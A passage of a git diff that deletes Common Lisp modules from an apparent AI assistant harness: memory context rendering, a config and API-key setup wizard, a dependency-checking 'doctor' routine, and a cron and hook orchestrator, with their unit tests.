Headline")) - (headlines (archivist-extract-headlines content))) - (fiveam:is (listp headlines)) - (fiveam:is (>= (length headlines) 1)))) - -(fiveam:test test-headline-to-filename - "Contract 2: archivist-headline-to-filename sanitizes titles." - (let ((filename (archivist-headline-to-filename "My Project: Overview"))) - (fiveam:is (search "my_project_overview" filename :test #'char-equal)) - (fiveam:is (not (search ":" filename))))) - -(fiveam:test test-archivist-create-note - "Contract 3: archivist-create-note writes a Zettelkasten note to disk." - (let* ((tmp-dir "/tmp/passepartout-archivist-test/") - (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (unwind-protect - (progn - (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) - "Expected note creation to return T") - (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) - "Expected file test_note.org to exist")) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) diff --git a/lisp/symbolic-awareness.lisp b/lisp/symbolic-awareness.lisp deleted file mode 100644 index 444085d..0000000 --- a/lisp/symbolic-awareness.lisp +++ /dev/null @@ -1,228 +0,0 @@ -(in-package :passepartout) - -(defun context-query (&key tag todo-state type scope) - "Filters the Memory based on tags, todo states, or types. -Optional SCOPE restricts results to objects with that scope -or :memex (global scope always visible)." - (let ((results nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t)) - ;; Scope filter: if scope specified, only match :memex (global) or same scope - (when (and scope (not (eq (memory-object-scope obj) :memex)) - (not (eq (memory-object-scope obj) scope))) - (setf match nil)) - (when (and type (not (eq (memory-object-type obj) type))) (setf match nil)) - (when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil))) - (when (and todo-state (not (equal state todo-state))) (setf match nil)) - (when match (push obj results)))) - *memory-store*) - results)) - -(defun context-active-projects () - "Returns headlines tagged as 'project' that are not yet marked DONE." - (remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE")) - (context-query :tag "project" :type :HEADLINE))) - -(defun context-recent-tasks () - "Retrieves recently finished tasks from the store." - (context-query :todo-state "DONE" :type :HEADLINE)) - -(defun context-skill-list () - "Provides a sorted overview of currently loaded system capabilities." - (let ((results nil)) - (maphash (lambda (name skill) - (declare (ignore name)) - (push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results)) - *skill-registry*) - (sort results #'> :key (lambda (x) (getf x :priority))))) - -(defun context-skill-source (skill-name) - "Reads the raw literate source of a specific skill for inspection." - (let* ((filename (format nil "~a.org" skill-name)) - (data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname)))))) - (org-dir (merge-pathnames "org/" data-dir)) - (full-path (merge-pathnames filename org-dir))) - (if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil))) - -(defun context-skill-subtree (skill-name heading-name) - "Reads a specific headline subtree from a skill's Org source file. -Returns the content under HEADING-NAME (including children) as a string, -or nil if the heading is not found." - (let ((full-source (context-skill-source skill-name))) - (unless full-source (return-from context-skill-subtree nil)) - (if (fboundp 'org-subtree-extract) - (org-subtree-extract full-source heading-name) - ;; Fallback: no org-subtree-extract available, return full source - full-source))) - -(defun context-logs (&optional limit) - "Retrieves the most recent lines from the harness's internal log." - (let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20))) - (bt:with-lock-held (*log-lock*) - (let ((count (min log-limit (length *log-buffer*)))) - (subseq *log-buffer* 0 count))))) - -(defun context-get-system-logs (&optional limit) - "Backward-compatibility alias for context-logs." - (context-logs limit)) - -(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil)) - "Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model." - (let* ((id (memory-object-id obj)) - (is-foveal (equal id foveal-id)) - (title (or (getf (memory-object-attributes obj) :TITLE) "Untitled")) - (content (memory-object-content obj)) - (children (memory-object-children obj)) - (stars (make-string depth :initial-element #\*)) - (obj-vector (memory-object-vector obj)) - (threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75)) - (similarity (if (and foveal-vector obj-vector (not is-foveal)) - (vector-cosine-similarity foveal-vector obj-vector) - 0.0)) - (is-semantically-relevant (>= similarity threshold)) - (should-render (or (<= depth 2) is-foveal is-semantically-relevant)) - (output "")) - - (when should-render - (setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id)) - (when is-semantically-relevant - (setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity)))) - (setf output (concatenate 'string output (format nil ":END:~%"))) - - (when (and content (or is-foveal is-semantically-relevant)) - (setf output (concatenate 'string output content (string #\Newline)))) - - (dolist (child-id children) - (let ((child-obj (memory-object-get child-id))) - (when child-obj - (let ((next-foveal (if is-foveal child-id foveal-id))) - (setf output (concatenate 'string output - (context-object-render child-obj - :depth (1+ depth) - :foveal-id next-foveal - :semantic-threshold threshold - :foveal-vector foveal-vector)))))))) - output)) - -(defun context-path-resolve (path-string) - "Expands environment variables and strips literal quotes from a path string." - (let ((path (if (stringp path-string) - (string-trim '(#\" #\' #\Space) path-string) - path-string))) - (if (and (stringp path) (search "$" path)) - (let ((result path)) - (ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path) - (let ((var-val (uiop:getenv var-name))) - (when var-val - (setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val))))) - result) - path))) - -(defun context-privacy-filtered-p (obj) - "Returns T if an org-object's :TAGS attribute matches the Dispatcher's privacy tags." - (let* ((attrs (memory-object-attributes obj)) - (tags (getf attrs :TAGS)) - (privacy-tags (and (find-package :passepartout.security-dispatcher) - (symbol-value - (find-symbol "*DISPATCHER-PRIVACY-TAGS*" - :passepartout.security-dispatcher))))) - (when (and tags privacy-tags) - (let ((tag-list (if (listp tags) tags (list tags)))) - (some (lambda (tag) - (some (lambda (private) - (string-equal (string-trim '(#\:) tag) - (string-trim '(#\:) private))) - privacy-tags)) - tag-list))))) - -(defun context-awareness-assemble (&optional signal) - "Produces a high-level skeletal outline of the current Memory for the LLM. -Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded." - (let* ((foveal-id (or (getf signal :foveal-focus) - (ignore-errors (getf (getf signal :payload) :target-id)))) - (foveal-vector (when foveal-id - (memory-object-vector (memory-object-get foveal-id)))) - (all-projects (context-active-projects)) - (projects (remove-if #'context-privacy-filtered-p all-projects)) - (output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%"))) - (if projects - (dolist (project projects) - (setf output (concatenate 'string output - (context-object-render project :foveal-id foveal-id :foveal-vector foveal-vector)))) - (setf output (concatenate 'string output "No active projects found.~%"))) - output)) - -(defun context-assemble-global-awareness () - (context-awareness-assemble)) - -(defskill :passepartout-symbolic-awareness - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-peripheral-vision-tests - (:use :cl :fiveam :passepartout) - (:export #:vision-suite)) -(in-package :passepartout-peripheral-vision-tests) - -(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") -(in-suite vision-suite) - -(test test-foveal-rendering - "Contract 1: foveal content inline, peripheral content title-only." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") - :raw-content "FOVEAL CONTENT" :contents nil) - (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") - :raw-content "PERIPHERAL CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) - (is (search "FOVEAL CONTENT" output)) - (is (search "* Peripheral Node" output)) - (is (not (search "PERIPHERAL CONTENT" output)))))) - -(test test-awareness-budget - "Contract 1: all active projects appear in awareness output." - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) - (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) - (let ((output (context-awareness-assemble))) - (is (search "Project 1" output)) - (is (search "Project 2" output)))) - -(test test-context-empty-memory - "Contract 1: empty memory produces clean output without error." - (clrhash passepartout::*memory-store*) - (let ((output (context-awareness-assemble))) - (is (stringp output)) - (is (search "MEMEX" output :test #'char-equal)))) - -(test test-context-no-foveal-focus - "Contract 2: without foveal focus, no inline content appears." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") - :raw-content "CHILD CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble nil))) - (is (stringp output)) - (is (not (search "CHILD CONTENT" output)))))) - -(test test-semantic-retrieval-trigram - "Contract v0.4.0: trigram backend produces non-zero similarity for related content." - (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) - (v2 (passepartout::embedding-backend-trigram "add password authentication"))) - (let ((sim (passepartout::vector-cosine-similarity v1 v2))) - (is (> sim 0.0)))) - (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) - (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) - (let ((sim (passepartout::vector-cosine-similarity v3 v4))) - (is (> sim 0.75)))) - (let ((v5 (passepartout::embedding-backend-trigram "authentication")) - (v6 (passepartout::embedding-backend-trigram "banana"))) - (let ((sim (passepartout::vector-cosine-similarity v5 v6))) - (is (< sim 0.3))))) diff --git a/lisp/symbolic-config.lisp b/lisp/symbolic-config.lisp deleted file mode 100644 index b8991a7..0000000 --- a/lisp/symbolic-config.lisp +++ /dev/null @@ -1,274 +0,0 @@ -(defun config-directory () - "Returns the absolute path to the opencortex config directory." - (let ((xdg (uiop:getenv "OC_CONFIG_DIR"))) - (if xdg xdg (namestring (merge-pathnames ".config/passepartout/" (user-homedir-pathname)))))) - -(defun config-file-path () - "Returns the path to the .env configuration file." - (merge-pathnames ".env" (config-directory))) - -(defun config-directory-ensure () - "Creates the configuration directory if it does not exist." - (ensure-directories-exist (config-directory))) - -(defun config-read () - "Reads the .env config file and returns an alist of KEY=VALUE pairs." - (let ((config-file (config-file-path))) - (when (uiop:file-exists-p config-file) - (let ((lines (uiop:read-file-lines config-file)) - (result nil)) - (dolist (line lines) - (when (and line (> (length line) 0) - (not (uiop:string-prefix-p "#" line))) - (let ((eq-pos (position #\= line))) - (when eq-pos - (let ((key (string-trim " " (subseq line 0 eq-pos))) - (value (string-trim " " (subseq line (1+ eq-pos))))) - (push (cons key value) result)))))) - (nreverse result))))) - -(defun config-write (config-alist) - "Writes the config alist to the .env file." - (config-directory-ensure) - (let ((config-file (config-file-path))) - (with-open-file (stream config-file :direction :output :if-exists :supersede :if-does-not-exist :create) - (format stream "# Passepartout Configuration~%") - (format stream "# Generated by opencortex setup~%~%") - (dolist (pair config-alist) - (format stream "~a=~a~%" (car pair) (cdr pair)))))) - -(defun config-get (key) - "Gets a config value by key." - (let ((config (config-read))) - (cdr (assoc key config :test #'string=)))) - -(defun config-set (key value) - "Sets a config value and saves to file." - (let ((config (config-read)) - (pair (cons key value))) - (let ((existing (assoc key config :test #'string=))) - (if existing - (setf (cdr existing) value) - (push pair config)) - (config-write config)))) - -(defun prompt (prompt-text) - "Simple prompt that returns user input as a string. -Returns nil if stdin is non-interactive." - (format t "~a" prompt-text) - (finish-output) - (ignore-errors (read-line))) - -(defun prompt-yes-no (prompt-text) - "Prompts yes/no question. Returns T for yes, nil for no." - (let ((response (prompt (format nil "~a [Y/n]: " prompt-text)))) - (or (string= response "") - (string-equal response "Y") - (string-equal response "y") - (string-equal response "yes")))) - -(defun prompt-choice (prompt-text options) - "Prompts user to choose from a list of options. Returns the chosen option or nil." - (format t "~a~%" prompt-text) - (let ((i 1)) - (dolist (opt options) - (format t " ~a) ~a~%" i opt) - (incf i))) - (let ((response (prompt "Choice"))) - (let ((num (ignore-errors (parse-integer response)))) - (when (and num (<= 1 num) (>= (length options) num)) - (nth (1- num) options))))) - -(defparameter *available-providers* - '(("OpenAI" . "OPENAI_API_KEY") - ("Anthropic" . "ANTHROPIC_API_KEY") - ("OpenRouter" . "OPENROUTER_API_KEY") - ("Groq" . "GROQ_API_KEY") - ("Gemini" . "GEMINI_API_KEY") - ("DeepSeek" . "DEEPSEEK_API_KEY") - ("NVIDIA" . "NVIDIA_API_KEY") - ("Local" . "LOCAL_BASE_URL"))) - -(defun setup-llm-providers () - "Interactive wizard for configuring LLM providers." - (format t "~%~%") - (format t "==================================================~%") - (format t " LLM Provider Configuration~%") - (format t "==================================================~%~%") - - (let ((current-providers (loop for (name . key) in *available-providers* - when (config-get key) - collect name))) - (when current-providers - (format t "Currently configured: ~{~a~^, ~}~%~%" current-providers)) - - (format t "~%") - (format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%") - (format t " Sign up at https://openrouter.ai and paste your API key below.~%") - (format t "~%") - (format t "Available providers:~%") - (format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes") - (format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----") - (dolist (p *available-providers*) - (let ((name (car p)) - (env-key (cdr p)) - (desc (case (car p) - ("OpenRouter" "free tier, 33+ models") - ("OpenAI" "paid, gpt-4o-mini") - ("Anthropic" "paid, Claude 3.5 Sonnet") - ("Groq" "fast inference, free tier") - ("Gemini" "free via API") - ("DeepSeek" "competitive pricing, coding") - ("NVIDIA" "NVIDIA NIM hosted models") - ("Local" "local server, no API key") - (t "")))) - (format t " ~20@A ~25@A ~a~%" name env-key desc))) - (format t "~%") - - (loop - (when (not (prompt-yes-no "Configure a LLM provider?")) - (return)) - (let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*)))) - (unless chosen - (format t "Invalid choice.~%") - (return)) - (let ((env-key (cdr (assoc chosen *available-providers* :test #'string=)))) - (cond - ((string= chosen "Local") - (format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%") - (format t " or http://localhost:8080 for llama.cpp): ") - (let ((url (read-line))) - (if (> (length url) 0) - (progn (config-set env-key url) - (format t "✓ ~a configured at ~a~%" chosen url)) - (format t "Skipping ~a — no URL entered.~%" chosen)))) - (t - (format t "Enter API key for ~a~%" chosen) - (format t " (get one from the provider's website, paste it here): ") - (let ((key (read-line))) - (if (> (length key) 0) - (progn (config-set env-key key) - (format t "✓ ~a API key saved~%" chosen)) - (format t "Skipping ~a — no key entered.~%" chosen)))))))) - - (format t "~%"))) - -(defun setup-add-provider () - "Entry point for adding a single provider (called from CLI)." - (setup-llm-providers)) - -(defun setup-gateways () - "Interactive wizard for configuring external gateways." - (format t "~%~%") - (format t "==================================================~%") - (format t " Gateway Configuration~%") - (format t "==================================================~%~%") - - (format t "Available gateways:~%") - (format t " - Slack (https://api.slack.com/)~%") - (format t " - Discord (https://discord.com/developers/)~%") - (format t "~%") - - (when (prompt-yes-no "Configure a gateway?") - (let ((chosen (prompt-choice "Select platform:" '("Slack" "Discord")))) - (when chosen - (let ((token (prompt (format nil "Enter ~a bot token: " chosen)))) - (if (string= chosen "Slack") - (config-set "SLACK_TOKEN" token) - (config-set "DISCORD_TOKEN" token)) - (format t "✓ ~a gateway configured~%" chosen))))) - - (format t "~%")) - -(defun setup-skills () - "Interactive wizard for enabling/disabling skills." - (format t "~%~%") - (format t "==================================================~%") - (format t " Skill Management~%") - (format t "==================================================~%~%") - - (format t "Note: Skill management is not yet implemented.~%") - (format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") "~/.local/share/passepartout")) - (format t "~%")) - -(defun setup-memory () - "Interactive wizard for memory settings." - (format t "~%~%") - (format t "==================================================~%") - (format t " Memory Settings~%") - (format t "==================================================~%~%") - - (let ((auto-save (prompt "Auto-save interval in seconds [300]:"))) - (when (and auto-save (> (length auto-save) 0)) - (config-set "MEMORY_AUTO_SAVE_INTERVAL" auto-save))) - - (let ((history (prompt "History retention in lines [1000]:"))) - (when (and history (> (length history) 0)) - (config-set "MEMORY_HISTORY_RETENTION" history))) - - (format t "✓ Memory settings saved~%") - (format t "~%")) - -(defun setup-network () - "Interactive wizard for network settings." - (format t "~%~%") - (format t "==================================================~%") - (format t " Network Settings~%") - (format t "==================================================~%~%") - - (let ((timeout (prompt "Request timeout in seconds [30]:"))) - (when (and timeout (> (length timeout) 0)) - (config-set "REQUEST_TIMEOUT" timeout))) - - (let ((proxy (prompt "Proxy URL (leave empty for none) []:"))) - (when (and proxy (> (length proxy) 0)) - (config-set "HTTP_PROXY" proxy))) - - (format t "✓ Network settings saved~%") - (format t "~%")) - -(defun setup-wizard-run () - "Main entry point for the interactive setup wizard." - (format t "~%~%") - (format t "╔═══════════════════════════════════════════════════╗~%") - (format t "║ Passepartout Setup Wizard ║~%") - (format t "╚═══════════════════════════════════════════════════╝~%") - (format t "~%") - (format t "This wizard will help you configure:~%") - (format t " 1. LLM Providers (OpenAI, Anthropic, etc.)~%") - (format t " 2. Gateway Links (Slack, Discord)~%") - (format t " 3. Memory Settings~%") - (format t " 4. Network Settings~%") - (format t "~%") - - (config-directory-ensure) - - ;; Step 1: LLM Providers - (when (prompt-yes-no "Configure LLM providers?") - (setup-llm-providers)) - - ;; Step 2: Gateways - (when (prompt-yes-no "Configure gateways?") - (setup-gateways)) - - ;; Step 3: Memory - (when (prompt-yes-no "Configure memory settings?") - (setup-memory)) - - ;; Step 4: Network - (when (prompt-yes-no "Configure network settings?") - (setup-network)) - - ;; Summary - (format t "==================================================~%") - (format t " Setup Complete!~%") - (format t "==================================================~%") - (format t "~%") - (format t "Configuration saved to: ~a~%" (config-file-path)) - (format t "~%") - (format t "To verify your setup, run: passepartout doctor~%") - (format t "~%")) - -(defskill :passepartout-symbolic-config - :priority 100 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/symbolic-diagnostics.lisp b/lisp/symbolic-diagnostics.lisp deleted file mode 100644 index c6ba020..0000000 --- a/lisp/symbolic-diagnostics.lisp +++ /dev/null @@ -1,210 +0,0 @@ -(in-package :passepartout) - -(defvar *diagnostics-binaries* '("sbcl" "emacs" "git") - "List of external binaries required for full system operation.") - -(defvar *diagnostics-package-map* - '(("sbcl" . "sbcl") - ("emacs" . "emacs") - ("git" . "git") - ("curl" . "curl") - ("rlwrap" . "rlwrap")) - "Map binary names to apt package names.") - -(defvar *doctor-missing-deps* nil - "List of missing dependencies populated by diagnostics-dependencies-check.") - -(defvar *doctor-auto-install* t - "When T, doctor will attempt to install missing dependencies automatically.") - -(defun diagnostics-dependencies-check () - "Verifies that required external binaries are available in the PATH via shell probe." - (setf *doctor-missing-deps* nil) - (let ((all-ok t)) - (format t "DOCTOR: Checking system dependencies...~%") - (dolist (dep *diagnostics-binaries*) - (let ((path (ignore-errors - (uiop:run-program (list "which" dep) - :output :string :ignore-error-status t)))) - (if (and path (> (length path) 0)) - (format t " [OK] Found ~a~%" dep) - (progn - (format t " [FAIL] Missing binary: ~a~%" dep) - (push dep *doctor-missing-deps*) - (setf all-ok nil))))) - (when (and all-ok (null *doctor-missing-deps*)) - (format t "DOCTOR: All dependencies satisfied.~%")) - all-ok)) - -(defun diagnostics-dependencies-install () - "Attempts to install missing system dependencies via apt." - (when (null *doctor-missing-deps*) - (format t "DOCTOR: No missing dependencies to install.~%") - (return-from diagnostics-dependencies-install t)) - - (format t "DOCTOR: Attempting to install ~a missing dependencies...~%" (length *doctor-missing-deps*)) - - (let ((packages (remove-duplicates - (mapcar (lambda (dep) - (or (cdr (assoc dep *diagnostics-package-map* :test #'string=)) - dep)) - *doctor-missing-deps*) - :test #'string=))) - (format t "DOCTOR: Packages to install: ~a~%" packages) - - (let ((cmd (format nil "apt-get install -y ~{~a~^ ~}" packages))) - (format t "DOCTOR: Running: ~a~%" cmd) - (handler-case - (let ((output (uiop:run-program cmd - :output :string - :error-output :string - :external-format :utf-8))) - (if (zerop (uiop:run-program (format nil "which ~a" (car *doctor-missing-deps*)) - :ignore-error-status t)) - (progn - (format t "DOCTOR: Dependencies installed successfully.~%") - (setf *doctor-missing-deps* nil) - t) - (progn - (format t "DOCTOR: Installation failed. Output: ~a~%" output) - nil))) - (error (c) - (format t "DOCTOR: Installation error: ~a~%" c) - nil))))) - -(defun diagnostics-env-check () - "Validates XDG directories and environment configuration." - (format t "DOCTOR: Checking XDG environment...~%") - (let ((all-ok t) - (config-dir (uiop:getenv "PASSEPARTOUT_CONFIG_DIR")) - (data-dir (uiop:getenv "PASSEPARTOUT_DATA_DIR")) - (state-dir (uiop:getenv "PASSEPARTOUT_STATE_DIR")) - (memex-dir (uiop:getenv "MEMEX_DIR"))) - - (flet ((check-dir (name path critical) - (if (and path (> (length path) 0)) - (if (uiop:directory-exists-p path) - (format t " [OK] ~a: ~a~%" name path) - (progn - (format t " [FAIL] ~a directory missing: ~a~%" name path) - (when critical (setf all-ok nil)))) - (progn - (format t " [FAIL] ~a variable not set.~%" name) - (when critical (setf all-ok nil)))))) - - (check-dir "Config (PASSEPARTOUT_CONFIG_DIR)" config-dir t) - (check-dir "Data (PASSEPARTOUT_DATA_DIR)" data-dir t) - (check-dir "State (PASSEPARTOUT_STATE_DIR)" state-dir t) - (check-dir "Memex (MEMEX_DIR)" memex-dir t)) - all-ok)) - -(defun diagnostics-llm-check () - "Tests connectivity to LLM providers. Returns T if at least one provider is configured." - (format t "DOCTOR: Checking LLM connectivity...~%") - (let ((providers '((:openrouter . "OPENROUTER_API_KEY") - (:anthropic . "ANTHROPIC_API_KEY") - (:openai . "OPENAI_API_KEY") - (:groq . "GROQ_API_KEY") - (:gemini . "GEMINI_API_KEY") - (:deepseek . "DEEPSEEK_API_KEY") - (:nvidia . "NVIDIA_API_KEY") - (:ollama . "OLLAMA_URL"))) - (configured nil)) - (dolist (p providers) - (let ((env-val (uiop:getenv (cdr p)))) - (cond - ((and env-val (> (length env-val) 0)) - (format t " [OK] ~a configured~%" (car p)) - (setf configured t)) - ((eq (car p) :ollama) - (let ((ollama-check (ignore-errors - (uiop:run-program '("curl" "-s" "http://localhost:11434/api/tags") - :output :string :ignore-error-status t)))) - (when (and ollama-check (search "\"models\"" ollama-check)) - (format t " [OK] Ollama local model server detected~%") - (setf configured t))))))) - (if configured - (progn - (format t " [OK] LLM provider(s) available~%") - t) - (progn - (format t " [WARN] No LLM provider configured.~%") - (format t " Run 'passepartout configure' to configure a provider.~%") - t)))) - -(defun diagnostics-run-all (&key (auto-install t)) - "Executes the full diagnostic suite and returns T if system is healthy." - (format t "==================================================~%") - (format t " PASSEPARTOUT DOCTOR: Commencing Health Check~%") - (format t "==================================================~%") - (let ((dep-ok (diagnostics-dependencies-check))) - (when (and (not dep-ok) auto-install *doctor-auto-install*) - (format t "DOCTOR: Attempting automatic installation...~%") - (setf dep-ok (diagnostics-dependencies-install)) - (when dep-ok - (setf dep-ok (diagnostics-dependencies-check)))) - (let ((env-ok (diagnostics-env-check)) - (llm-ok (diagnostics-llm-check))) - (format t "==================================================~%") - (if (and dep-ok env-ok) - (progn - (format t " ✓ SYSTEM HEALTHY: Ready for ignition.~%") - t) ;; Explicitly return T - (progn - (format t "==================================================~%") - (format t " ISSUES FOUND:~%") - (when (not dep-ok) - (format t " - Missing system dependencies~%")) - (when (not llm-ok) - (format t " - No LLM provider configured~%")) - (format t "~%") - (format t " RECOMMENDED ACTIONS:~%") - (format t " 1. Run 'passepartout configure' to configure everything~%") - (format t " 2. Or run 'passepartout doctor --fix' for auto-repair~%") - (format t "==================================================~%") - nil))))) ;; Return nil when issues found - -(defun diagnostics-main () - "Entry point for the 'doctor' CLI command." - (if (diagnostics-run-all) - (uiop:quit 0) - (uiop:quit 1))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-diagnostics-tests - (:use :cl :fiveam :passepartout) - (:export #:diagnostics-suite)) - -(in-package :passepartout-diagnostics-tests) - -(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic") -(in-suite diagnostics-suite) - -(test test-diagnostics-dependency-fail - "Contract 1: missing binaries cause diagnostics-dependencies-check to return nil." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS")) - (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg)))) - (when bin-var - (setf (symbol-value bin-var) '("non-existent-binary-123")) - (is (null (diagnostics-dependencies-check)))))) - -(test test-diagnostics-env-fail - "Contract 2: diagnostics-env-check returns a boolean." - (let ((result (diagnostics-env-check))) - (is (or (eq t result) (eq nil result)) - "diagnostics-env-check should return T or NIL"))) - -(test test-diagnostics-dependency-success - "Contract 1: all binaries present returns T." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS")) - (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg)))) - (when bin-var - (setf (symbol-value bin-var) '("ls")) - (is (eq t (diagnostics-dependencies-check)))))) - -(defskill :passepartout-symbolic-diagnostics - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat)) - :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) diff --git a/lisp/symbolic-events.lisp b/lisp/symbolic-events.lisp deleted file mode 100644 index 998311f..0000000 --- a/lisp/symbolic-events.lisp +++ /dev/null @@ -1,224 +0,0 @@ -(defpackage :passepartout.symbolic-events - (:use :cl :passepartout) - (:export - :orchestrator-register-hook - :orchestrator-register-cron - :orchestrator-classify - :orchestrator-on-heartbeat - :orchestrator-bootstrap - :orchestrator-dispatch - :default-classifier - :parse-org-repeat - :*hook-registry* - :*cron-registry* - :*tier-classifier*)) - -(in-package :passepartout.symbolic-events) - -(defvar *hook-registry* (make-hash-table :test 'equal) - "Maps hook property string → list of gate function symbols.") - -(defvar *cron-registry* (make-hash-table :test 'equal) - "Maps job name string → plist (:next-run :expression :repeat :action :tier).") - -(defvar *tier-classifier* nil - "Optional function (context) → :reflex | :cognition | :reasoning.") - -(defun default-classifier (context) - "Rule-based tier classification. -:reflex — file/shell operations, deterministic checks -:cognition — text processing, summarization, simple Q&A -:reasoning — planning, analysis, multi-step decisions" - (let* ((text (or (getf context :text) "")) - (lower (string-downcase text))) - (cond - ((or (search "rm " lower) - (search "write-file" lower) - (search "shell" lower) - (search "verify-" lower)) - :reflex) - ((or (search "summarize" lower) - (search "list" lower) - (search "find " lower) - (search "what is" lower) - (search "search" lower)) - :cognition) - (t :reasoning)))) - -(defun parse-org-repeat (timestamp-string) - (let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string)) - (parts (uiop:split-string cleaned :separator '(#\space))) - (repeat-part (ignore-errors (car (last parts))))) - (when (and repeat-part (uiop:string-prefix-p "+" repeat-part)) - (let* ((rest (subseq repeat-part 1)) - (num-end (position-if (lambda (c) (not (digit-char-p c))) rest)) - (num (parse-integer (subseq rest 0 num-end))) - (unit-str (subseq rest num-end))) - (list (intern (string-upcase unit-str) :keyword) num))))) - -(defun orchestrator-register-hook (hook-property gate-function) - "Registers a deterministic gate to fire when an Org node with -the #+HOOK: property matching HOOK-PROPERTY is modified." - (push gate-function - (gethash (string-downcase (string hook-property)) *hook-registry*)) - (log-message "ORCHESTRATOR: Hook ~a → ~a" hook-property gate-function)) - -(defun orchestrator-register-cron (name expression action-function tier) - "Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode -timestamp string with optional repeat. TIER is :reflex :cognition :reasoning." - (let* ((repeat (parse-org-repeat expression)) - (now (get-universal-time))) - (setf (gethash (string-downcase (string name)) *cron-registry*) - (list :next-run now - :expression expression - :repeat repeat - :action action-function - :tier tier)) - (log-message "ORCHESTRATOR: Cron ~a (tier: ~a, repeat: ~a)" - name tier repeat))) - -(defun orchestrator-dispatch (action tier) - "Execute ACTION at the specified TIER." - (flet ((safe-inject (text) - (when (fboundp (find-symbol "STIMULUS-INJECT" :passepartout)) - (funcall (find-symbol "STIMULUS-INJECT" :passepartout) - (list :type :EVENT - :payload (list :sensor :user-input :text text)))))) - (ecase tier - (:reflex - (if (functionp action) - (funcall action) - (when (and (symbolp action) (fboundp action)) - (funcall action))) - :dispatched) - (:cognition - (safe-inject (format nil "~a" action)) - :injected) - (:reasoning - (safe-inject (format nil "~a" action)) - :injected)))) - -(defun orchestrator-on-heartbeat (context) - "Called on each heartbeat tick. Checks and dispatches due cron jobs." - (declare (ignore context)) - (let ((now (get-universal-time)) - (due-jobs nil)) - (maphash (lambda (name config) - (let ((next-run (getf config :next-run))) - (when (>= now next-run) - (push (cons name config) due-jobs)))) - *cron-registry*) - (dolist (job due-jobs) - (let* ((name (car job)) - (config (cdr job)) - (action (getf config :action)) - (tier (getf config :tier)) - (repeat (getf config :repeat)) - (result (orchestrator-dispatch action tier))) - (log-message "ORCHESTRATOR: Heartbeat dispatched ~a (tier: ~a) → ~a" - name tier result) - (when repeat - (let* ((unit (first repeat)) - (value (second repeat)) - (interval (case unit - (:d (* 86400 value)) - (:w (* 604800 value)) - (:m (* 2592000 value)) - (t (* 3600 value))))) - (setf (getf (gethash name *cron-registry*) :next-run) - (+ now interval)))))) - nil)) - -(defun 